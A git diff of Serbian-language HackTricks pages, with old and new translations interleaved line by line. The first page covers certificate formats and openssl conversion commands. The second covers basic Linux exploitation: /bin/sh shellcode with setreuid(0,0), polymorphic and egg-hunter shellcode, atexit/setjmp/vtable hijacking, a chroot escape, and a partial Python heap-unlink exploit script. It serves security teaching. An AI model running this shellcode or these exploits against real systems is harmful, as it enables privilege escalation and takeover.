Različiti formati postoje za skladištenje sertifikata, svaki sa svojim slučajevima upotrebe i kompatibilnošću. Ovaj sažetak obuhvata glavne formate i pruža smernice o konvertovanju između njih. Postoje različiti formati za skladištenje sertifikata, svaki sa svojim slučajevima upotrebe i kompatibilnošću. Ovaj pregled pokriva glavne formate i pruža smernice za konvertovanje između njih.
## **Formati** ## **Formati**
### **PEM Format** ### **PEM format**
* Najčešće korišćen format za sertifikate. * Najšire korišćen format za sertifikate.
* Zahteva odvojene datoteke za sertifikate i privatne ključeve, kodirane u Base64 ASCII. * Zahteva odvojene fajlove za sertifikate i privatne ključeve, kodirane u Base64 ASCII.
* Česte ekstenzije: .cer, .crt, .pem, .key. * Uobičajene ekstenzije: .cer, .crt, .pem, .key.
* Prvenstveno korišćen od strane Apache i sličnih servera. * Primarno koriste Apache i slični serveri.
### **DER Format** ### **DER format**
* Binarni format sertifikata. * Binarni format sertifikata.
* Nedostaje "BEGIN/END CERTIFICATE" izjave koje se nalaze u PEM datotekama. * Nedostaju "BEGIN/END CERTIFICATE" izjave koje se nalaze u PEM fajlovima.
* Česte ekstenzije: .cer, .der. * Uobičajene ekstenzije: .cer, .der.
* Često korišćen sa Java platformama. * Često se koristi sa Java platformama.
### **P7B/PKCS#7 Format** ### **P7B/PKCS#7 format**
* Skladišten u Base64 ASCII, sa ekstenzijama .p7b ili .p7c. * Skladišti se u Base64 ASCII, sa ekstenzijama .p7b ili .p7c.
* Sadrži samo sertifikate i lanac sertifikata, isključujući privatni ključ. * Sadrži samo sertifikate i lance sertifikata, isključujući privatni ključ.
* Podržan od strane Microsoft Windows i Java Tomcat. * Podržava Microsoft Windows i Java Tomcat.
### **PFX/P12/PKCS#12 Format** ### **PFX/P12/PKCS#12 format**
* Binarni format koji uključuje serverske sertifikate, posredne sertifikate i privatne ključeve u jednoj datoteci. * Binarni format koji enkapsulira server sertifikate, međusertifikate i privatne ključeve u jednom fajlu.
* Ekstenzije: .pfx, .p12. * Ekstenzije: .pfx, .p12.
* Glavno korišćen na Windows platformi za uvoz i izvoz sertifikata. * Uglavnom se koristi na Windows-u za uvoz i izvoz sertifikata.
### **Konvertovanje formata** ### **Konvertovanje formata**
**PEM konverzije** su esencijalne za kompatibilnost: **PEM konverzije** su neophodne za kompatibilnost:
* **x509 u PEM** * **x509 to PEM**
```bash ```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
``` ```
@ -148,22 +149,22 @@ openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
``` ```
**PFX konverzije** su ključne za upravljanje sertifikatima na Windows operativnom sistemu: **PFX konverzije** su ključne za upravljanje sertifikatima na Windows-u:
* **PFX u PEM** * **PFX u PEM**
```bash ```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem openssl pkcs12 -in certificatename.pfx -out certificatename.pem
``` ```
* **PFX u PKCS#8** uključuje dva koraka: * **PFX to PKCS#8** uključuje dva koraka:
1. Konvertuj PFX u PEM 1. Konvertujte PFX u PEM
```bash ```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
``` ```
2. Konvertuj PEM u PKCS8 2. Konvertujte PEM u PKCS8
```bash ```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
``` ```
* **P7B u PFX** takođe zahteva dve komande: * **P7B to PFX** takođe zahteva dve komande:
1. Konvertuj P7B u CER 1. Konvertuj P7B u CER
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
@ -174,24 +175,25 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
``` ```
*** ***
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim **alatima** zajednice na svetu.\
Dobijte pristup danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# Linux Exploiting (Osnovno) # Linux Exploiting (Basic) (SPA)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## **2.SHELLCODE** ## **2.SHELLCODE**
Vidi prekide kernela: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_” Pogledajte prekide jezgra: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR\_setreuid 70\ setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\ execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1 exit(0); // \_\_NR\_exit 1
xor eax, eax ; čistimo eax\ xor eax, eax ; očistimo eax\
xor ebx, ebx ; ebx = 0 jer nema argumenata za prosleđivanje\ xor ebx, ebx ; ebx = 0 jer nema argumenta za proslediti\
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\ mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Izvršiti syscall int 0x80 ; Izvrši syscall
**nasm -f elf assembly.asm** —> Vraća nam .o datoteku\ **nasm -f elf assembly.asm** —> Vraća nam .o\
**ld assembly.o -o shellcodeout** —> Daje nam izvršnu datoteku formiranu od asemblerskog koda i možemo izvući opkodove sa **objdump**\ **ld assembly.o -o shellcodeout** —> Daje nam izvršni fajl sastavljen od asemblera i možemo izvući opkode sa **objdump**\
**objdump -d -Mintel ./shellcodeout** —> Da bismo videli da je zaista naš shellcode i izvukli OpKodove **objdump -d -Mintel ./shellcodeout** —> Da vidimo da je to zaista naš shellcode i izvučemo OpCode
**Proverite da li shellcode funkcioniše** **Proverite da shellcode funkcioniše**
``` ```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
@ -41,11 +42,11 @@ fp = (void *)shellcode;
fp(); fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span> }<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
``` ```
Da biste videli da li se sistemski pozivi pravilno izvršavaju, treba da kompajlirate prethodni program i sistemski pozivi treba da se pojave u **strace ./PROGRAMA\_COMPILADO** Da biste videli da se sistemski pozivi pravilno izvršavaju, potrebno je da kompajlirate prethodni program, a sistemski pozivi treba da se pojave u **strace ./PROGRAMA\_COMPILADO**
Prilikom kreiranja shellcode-ova možete koristiti trik. Prva instrukcija je skok na poziv. Poziv poziva originalni kod i dodatno stavlja EIP na stek. Nakon instrukcije poziva smo ubacili string koji nam je potreban, tako da sa tim EIP-om možemo pokazati na string i nastaviti izvršavanje koda. Kada se kreiraju shellcode-ovi, može se primeniti trik. Prva instrukcija je jump na call. Call poziva originalni kod i takođe stavlja EIP na stek. Nakon instrukcije call, stavili smo string koji nam je potreban, tako da sa tim EIP-om možemo ukazati na string i nastaviti sa izvršavanjem koda.
PRIMER **TRICK (/bin/sh)**: EJ **TRIK (/bin/sh)**:
``` ```
jmp 0x1f ; Salto al último call jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string popl %esi ; Guardamos en ese la dirección al string
@ -65,7 +66,7 @@ int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span> .string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
``` ```
**EKSPLOATISANJE korišćenjem Stack-a (/bin/sh):** **EJ koristeći Stack(/bin/sh):**
``` ```
section .text section .text
global _start global _start
@ -93,13 +94,13 @@ fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs pop eax ; Guarda el EIP en el que se ejecutó fabs
``` ```
**Lovac na jaja:** **Egg Huter:**
Ovo je mali kod koji prolazi kroz stranice memorije povezane s procesom u potrazi za shellcode-om koji je tamo spremljen (traži neki potpis koji je postavljen u shellcode-u). Korisno u slučajevima kada imate samo malo prostora za ubacivanje koda. Sastoji se od malog koda koji pretražuje stranice memorije povezane sa procesom u potrazi za shellcode-om koji je tamo sačuvan (traži neku potpisanu oznaku u shellcode-u). Korisno u slučajevima kada se ima samo mali prostor za injekciju koda.
**Polimorfni shellkodovi** **Shellcodes polimorfni**
To su šifrovani shellkodovi koji imaju male kodove koji ih dešifruju i skoče na njih, koristeći trik Call-Pop, ovde je **primer Cezarove šifre**: Sastoje se od šifrovanih shell-ova koji imaju mali kod koji ih dešifruje i preskoči na njega, koristeći trik Call-Pop, ovo bi bio **primer šifrovanog cezara**:
``` ```
global _start global _start
_start: _start:
@ -120,88 +121,74 @@ sc:
``` ```
## **5. Dodatne metode** ## **5. Dodatne metode**
**Murat tehnika**
U linuxu se svi programi mapiraju počinjući od 0xbfffffff
Gledajući kako se gradi stek novog procesa u linuxu, može se razviti exploit tako da se program pokrene u okruženju čija je jedina promenljiva shellcode. Adresa ove se može izračunati kao: addr = 0xbfffffff - 4 - strlen(NAZIV\_izvršnog\_fajla) - strlen(shellcode)
Na ovaj način bi se jednostavno dobila adresa gde se nalazi promenljiva okruženja sa shellcode.
**Muratova tehnika** To se može uraditi zahvaljujući funkciji execle koja omogućava kreiranje okruženja koje ima samo željene promenljive okruženja.
Na linuxu se svi programi mapiraju počevši od 0xbfffffff ### **Format Strings to Buffer Overflows**
Posmatrajući kako se konstruiše stek novog procesa u linuxu, može se razviti exploit tako da program bude pokrenut u okruženju u kojem je jedina promenljiva shellcode. Adresa ove promenljive se može izračunati kao: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode) **sprintf moves** formatirani string **u** **promenljivu.** Stoga, možete zloupotrebiti **formatiranje** stringa da izazovete **buffer overflow u promenljivoj** u koju se sadržaj kopira.\
Na primer, payload `%.44xAAAA` će **napisati 44B+"AAAA" u promenljivu**, što može izazvati buffer overflow.
Na ovaj način se na jednostavan način može dobiti adresa gde se nalazi promenljiva okoline sa shellcode. ### **\_\_atexit strukture**
Ovo se može postići zahvaljujući tome što funkcija execle omogućava kreiranje okruženja koje ima samo željene promenljive okoline.
##
###
###
###
###
### **Formatiranje stringova za preplavljivanje bafera**
**sprintf** pomera formatiran string u promenljivu. Stoga, možete zloupotrebiti formatiranje stringa kako biste izazvali preplavljivanje bafera u promenljivoj u koju se kopira sadržaj. Na primer, payload `%.44xAAAA` će upisati 44B+"AAAA" u promenljivu, što može izazvati preplavljivanje bafera.
### **Strukture \_\_atexit**
{% hint style="danger" %} {% hint style="danger" %}
Danas je vrlo retko iskoristiti ovo. Danas je veoma **čudno iskoristiti ovo**.
{% endhint %} {% endhint %}
**`atexit()`** je funkcija kojoj se prosleđuju druge funkcije kao parametri. Ove funkcije će biti izvršene prilikom izvršavanja `exit()` ili povratka iz glavnog programa. Ako možete da modifikujete adresu bilo koje od ovih funkcija da pokazuje na shellcode na primer, preuzete ćete kontrolu nad procesom, ali je to trenutno komplikovanije. Trenutno su adrese funkcija koje treba izvršiti sakrivene iza nekoliko struktura i na kraju adrese na koje pokazuju nisu adrese funkcija, već su šifrovane sa XOR-om i pomerajima sa slučajnim ključem. Tako da je ovaj vektor napada trenutno vrlo malo koristan, barem na x86 i x64\_86 arhitekturama. Funkcija za šifrovanje je `PTR_MANGLE`. **Druge arhitekture** poput m68k, mips32, mips64, aarch64, arm, hppa... **ne implementiraju funkciju za šifrovanje** jer **vraćaju isto** što su primile kao ulaz. Dakle, ove arhitekture bi bile podložne ovom vektoru napada. **`atexit()`** je funkcija kojoj se **prolaze druge funkcije kao parametri.** Ove **funkcije** će biti **izvršene** prilikom izvršavanja **`exit()`** ili **povratka** iz **main**.\
Ako možete **modifikovati** **adresu** bilo koje od ovih **funkcija** da pokazuje na shellcode, na primer, dobićete **kontrolu** nad **procesom**, ali je to trenutno komplikovanije.\
Trenutno su **adrese funkcija** koje treba izvršiti **sakrivene** iza nekoliko struktura i konačno adresa na koju pokazuje nije adresa funkcija, već je **kriptovana XOR** i pomeranjima sa **nasumičnim ključem**. Tako da je trenutno ovaj vektorski napad **ne baš koristan, barem na x86** i **x64\_86**.\
**Funkcija za enkripciju** je **`PTR_MANGLE`**. **Druge arhitekture** kao što su m68k, mips32, mips64, aarch64, arm, hppa... **ne implementiraju funkciju enkripcije** jer **vraća isto** što je primila kao ulaz. Tako da bi ove arhitekture bile napadljive ovim vektorom.
### **setjmp() & longjmp()** ### **setjmp() & longjmp()**
{% hint style="danger" %} {% hint style="danger" %}
Danas je vrlo retko iskoristiti ovo. Danas je veoma **čudno iskoristiti ovo**.
{% endhint %} {% endhint %}
**`Setjmp()`** omogućava **čuvanje konteksta** (registara)\ **`Setjmp()`** omogućava **čuvanje** **konteksta** (registri)\
**`longjmp()`** omogućava **obnavljanje konteksta**.\ **`longjmp()`** omogućava **obnavljanje** **konteksta**.\
Sačuvani registri su: `EBX, ESI, EDI, ESP, EIP, EBP`\ **Sačuvani registri** su: `EBX, ESI, EDI, ESP, EIP, EBP`\
Ono što se dešava je da se EIP i ESP prosleđuju kroz funkciju **`PTR_MANGLE`**, tako da su **arhitekture podložne ovom napadu iste kao i gore navedene**.\ Šta se dešava je da se EIP i ESP prosleđuju kroz **`PTR_MANGLE`** funkciju, tako da su **arhitekture ranjive na ovaj napad iste kao gore**.\
Koriste se za oporavak grešaka ili prekide.\ Koriste se za oporavak od grešaka ili prekida.\
Međutim, prema onome što sam pročitao, ostali registri nisu zaštićeni, **tako da ako postoji `call ebx`, `call esi` ili `call edi`** unutar funkcije koja se poziva, kontrola može biti preuzeta. Ili takođe možete modifikovati EBP da biste promenili ESP. Međutim, prema onome što sam pročitao, ostali registri nisu zaštićeni, **tako da ako postoji `call ebx`, `call esi` ili `call edi`** unutar pozvane funkcije, kontrola može biti preuzeta. Ili možete takođe modifikovati EBP da modifikujete ESP.
**VTable i VPTR u C++** **VTable i VPTR u C++**
Svaka klasa ima **Vtabelu** koja je niz **pokazivača na metode**. Svaka klasa ima **Vtable** koja je niz **pokazivača na metode**.
Svaki objekat **klase** ima **VPtr** koji je **pokazivač** na niz svoje klase. VPtr je deo zaglavlja svakog objekta, tako da ako se postigne **prepisivanje** VPtr-a, može se **modifikovati** da pokazuje na lažnu metodu tako da izvršavanje funkcije ode do shellcode-a. Svaki objekat klase ima **VPtr** koji je **pokazivač** na niz svoje klase. VPtr je deo zaglavlja svakog objekta, tako da ako se postigne **prepisivanje** **VPtr** može se **modifikovati** da **pokazuje** na lažnu metodu tako da izvršavanje funkcije ide na shellcode.
## **Prevantivne mere i izbegavanja** ## **Preventivne mere i izbegavanja**
### **Zamena Libsafe**
**Zamena Libsafe-a**
Aktivira se sa: LD\_PRELOAD=/lib/libsafe.so.2\ Aktivira se sa: LD\_PRELOAD=/lib/libsafe.so.2\
ili\ ili\
“/lib/libsave.so.2” > /etc/ld.so.preload “/lib/libsave.so.2” > /etc/ld.so.preload
Pozivi nekih nesigurnih funkcija se presreću sigurnijim. Nije standardizovano. (samo za x86, ne za kompilacije sa -fomit-frame-pointer, ne statičke kompilacije, ne sve ranjive funkcije postaju sigurne i LD\_PRELOAD ne radi na binarnim fajlovima sa suid). Interceptuju se pozivi nekim nesigurnim funkcijama sa drugim sigurnim. Nije standardizovano. (samo za x86, ne za kompilacije sa -fomit-frame-pointer, ne statičke kompilacije, ne sve ranjive funkcije postaju sigurne i LD\_PRELOAD ne funkcioniše u binarnim fajlovima sa suid).
**ASCII Armored Address Space** **ASCII Armored Address Space**
Sastoji se od učitavanja deljenih biblioteka od 0x00000000 do 0x00ffffff kako bi uvek postojao bajt 0x00. Međutim, ovo zaista ne zaustavlja skoro nijedan napad, a posebno ne u little endian formatu. Sastoji se od učitavanja deljenih biblioteka od 0x00000000 do 0x00ffffff kako bi uvek postojao bajt 0x00. Međutim, ovo zapravo ne zaustavlja gotovo nijedan napad, a još manje u little endian.
**ret2plt** **ret2plt**
Sastoji se od izvođenja ROP-a tako da se pozove funkcija strcpy@plt (iz plt-a) i usmeri se ka ulazu u GOT i kopira prvi bajt funkcije koja se želi pozvati (system()). Zatim se isto radi usmeravajući se ka GOT+1 i kopira se drugi bajt system()... Na kraju se poziva sačuvana adresa u GOT koja će biti system() Sastoji se od izvođenja ROP-a tako da se pozove funkcija strcpy@plt (iz plt) i pokaže na ulaz u GOT i kopira prvi bajt funkcije koju želite da pozovete (system()). Odmah zatim se radi isto pokazujući na GOT+1 i kopira se 2. bajt system()… Na kraju se poziva adresa sačuvana u GOT koja će biti system().
**Kavezi sa chroot()** **Kave sa chroot()**
debootstrap -arch=i386 hardy /home/user —> Instalira osnovni sistem u određeni poddirektorijum debootstrap -arch=i386 hardy /home/user —> Instalira osnovni sistem pod specifičnim poddirektorijumom
Administrator može izaći iz ovih kaveza tako što će uraditi: mkdir foo; chroot foo; cd .. Admin može izaći iz jedne od ovih kave tako što će: mkdir foo; chroot foo; cd ..
**Instrumentacija koda** **Instrumentacija koda**
@ -210,36 +197,36 @@ Memcheck\
RAD (Return Address Defender)\ RAD (Return Address Defender)\
Insure++ Insure++
## **8 Preplavljivanje hipa: Osnovni eksploiti** ## **8 Heap Overflows: Osnovni exploits**
**Dodeljeni blok** **Delić dodeljen**
prev\_size |\ prev\_size |\
size | —Zaglavlje\ size | —Zaglavlje\
\*mem | Podaci \*mem | Podaci
**Slobodan blok** **Delić slobodan**
prev\_size |\ prev\_size |\
size |\ size |\
\*fd | Ptr naprednog bloka\ \*fd | Ptr forward chunk\
\*bk | Ptr nazadnog bloka —Zaglavlje\ \*bk | Ptr back chunk —Zaglavlje\
\*mem | Podaci \*mem | Podaci
Slobodni blokovi su u listi dvostruko povezanih (bin) i nikada ne mogu biti dva slobodna bloka zajedno (spajaju se) Slobodni delovi su u dvostruko povezanoj listi (bin) i nikada ne mogu postojati dva slobodna dela zajedno (spajaju se)
U "size" postoje bitovi koji pokazuju: Da li je prethodni blok u upotrebi, da li je blok dodeljen putem mmap() i da li blok pripada primarnoj areni. U “size” postoje bitovi koji označavaju: Da li je prethodni deo u upotrebi, da li je deo dodeljen putem mmap() i da li deo pripada primarnoj areni.
Ako se oslobodi blok i bilo koji od susednih blokova je slobodan, oni se spajaju pomoću makroa unlink() i novi, veći blok se prosleđuje frontlink() da ga ubaci u odgovarajući bin. Ako prilikom oslobađanja dela neki od susednih bude slobodan, oni se spajaju putem makroa unlink() i novi veći deo se prosleđuje frontlink() da mu umetne odgovarajući bin.
unlink(){\ unlink(){\
BK = P->bk; —> BK novog bloka je onaj koji je imao blok koji je već bio slobodan\ BK = P->bk; —> BK novog dela je onaj koji je imao onaj koji je već bio slobodan\
FD = P->fd; —> FD novog bloka je onaj koji je imao blok koji je već bio slobodan\ FD = P->fd; —> FD novog dela je onaj koji je imao onaj koji je već bio slobodan\
FD->bk = BK; —> BK sledećeg bloka pokazuje na novi blok\ FD->bk = BK; —> BK sledećeg dela pokazuje na novi deo\
BK->fd = FD; —> FD prethodnog bloka pokazuje na novi blok\ BK->fd = FD; —> FD prethodnog dela pokazuje na novi deo\
} }
Dakle, ako uspemo da modifikujemo P->bk sa adresom shellcode-a i P->fd sa adresom unosa u GOT ili DTORS manje 12, postiže se: Dakle, ako uspemo da modifikujemo P->bk sa adresom shellcode i P->fd sa adresom do ulaza u GOT ili DTORS minus 12, postiže se:
BK = P->bk = \&shellcode\ BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\ FD = P->fd = &\_\_dtor\_end\_\_ - 12\
@ -247,22 +234,23 @@ FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
I tako se izvršava shellcode prilikom izlaska iz programa. I tako se izvršava shellcode prilikom izlaska iz programa.
Takođe, 4. izjava unlink() piše nešto i shellcode mora biti prilagođen za ovo: Pored toga, 4. izjava unlink() piše nešto i shellcode mora biti prilagođena za ovo:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Ovo uzrokuje pisanje 4 bajta počevši od 8. bajta shellcode-a, tako da prva instrukcija shellcode-a mora biti skok kako bi preskočila ovo i prešla na nops koji vode do ostatka shellcode-a. BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Ovo izaziva pisanje 4 bajta počevši od 8. bajta shellcode, tako da prva instrukcija shellcode mora biti jmp da preskoči ovo i padne u nops koji vode do ostatka shellcode.
Stoga se exploit kreira: Dakle, exploit se kreira:
U buffer1 ubacujemo shellcode počevši od skoka kako bi prešao na nops ili na ostatak shellcode-a. U buffer1 stavljamo shellcode počevši od jmp da padne u nops ili u ostatak shellcode.
Nakon shellcode-a ubacujemo punjenje dok ne dođemo do polja prev\_size i size sledećeg bloka. Na ovim mestima ubacujemo 0xfffffff0 (tako da se prev\_size prepiše da ima bit koji kaže da je slobodan) i “-4“(0xfffffffc) u size (da bi kada proveri u 3. bloku da li je 2. bio slobodan, zapravo ode na modifikovani prev\_size koji će reći da je slobodan) -> Tako kada free() istražuje, ići će na size 3. ali će zapravo ići na 2. - 4 i misliće da je 2. blok slobodan. Tada će pozvati **unlink()**. Nakon shellcode stavljamo popunu do polja prev\_size i size sledećeg dela. Na ovim mestima stavljamo 0xfffffff0 (tako da se prev\_size prepisuje da ima bit koji kaže da je slobodan) i “-4“(0xfffffffc) u size (da kada proveri u 3. delu da li je 2. zapravo slobodan, ide na modifikovani prev\_size koji će mu reći da je slobodan) -> Tako kada free() istražuje, ići će na size 3. ali zapravo će ići na 2. - 4 i pomisliti da je 2. deo slobodan. I tada će pozvati **unlink()**.
Prilikom poziva unlink() koristiće se prvi podaci iz 2. dela, tako da će se tu ubaciti adresa koju želite da prepisujete - 12 (jer će u FD->bk dodati 12 na adresu sačuvanu u FD). Na toj adresi će se uneti druga adresa koja se nalazi u 2. delu, a koja će biti adresa shell koda (P->bk lažni).
Pozivom unlink() koristiće kao P->fd prve podatke 2. dela, tako da će tu biti adresa koju želite da prepišete - 12 (jer će u FD->bk dodati 12 na sačuvanu adresu u FD). I na tu adresu će uneti drugu adresu koju nađe u 2. delu, što će nam biti interesantno da bude adresa do shellcode (lažni P->bk).
**from struct import \*** **from struct import \***
**import os** **import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 bajtova punjenja** **shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes popune**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** **shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
@ -270,73 +258,73 @@ Prilikom poziva unlink() koristiće se prvi podaci iz 2. dela, tako da će se tu
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";** **"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #Bit koji označava da je prethodni deo slobodan treba da bude 1** **prev\_size = pack("\<I”, 0xfffffff0) #Bit koji označava da je prethodni deo slobodan treba biti 1**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, da bi mislio da je "size" 3. dela 4 bajta unazad (ukazuje na prev\_size) jer tu proverava da li je 2. deo slobodan** **fake\_size = pack("\<I”, 0xfffffffc) #-4, da bi mislio da je “size” 3. dela 4 bajta iza (pokazuje na prev\_size) jer tu gleda da li je 2. deo slobodan**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #U payloadu na početku ćemo staviti 8 bajtova punjenja** **addr\_sc = pack("\<I", 0x0804a008 + 8) #Na payload na početku ćemo staviti 8 bajtova popune**
**got\_free = pack("\<I", 0x08048300 - 12) #Adresa free() u plt-12 (biće adresa koja će biti prepisana da bi se pokrenuo shell kod drugi put kada se pozove free)** **got\_free = pack("\<I", 0x08048300 - 12) #Adresa free() u plt-12 (biće adresa koja se prepisuje da se pokrene shellcode drugi put kada se pozove free)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #Kako je rečeno, payload počinje sa 8 bajtova punjenja jer tako** **payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Kao što je rečeno, payload počinje sa 8 bajtova popune jer tako**
